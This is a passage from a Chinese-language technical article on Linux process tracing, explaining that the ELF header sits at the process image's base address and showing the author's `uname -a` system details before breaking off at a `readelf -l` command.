一书中，ELF文件头位于text段中，并且text段就在进程镜像的起始地址处。从前面的例子中也可以看到，一般ELF文件头就在进程镜像的起始地址，所以只需要找到进程的基地址（进程镜像的起始地址）就能找到ELF文件头。但是在本文档中，使用的系统的信息如下： ```tex yzh@ubuntu:~/workstation/process_tracing$ uname -a Linux ubuntu 5.13.0-35-generic #40~20.04.1-Ubuntu SMP Mon Mar 7 09:18:32 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ``` 在本文中，可以先通过`readelf -l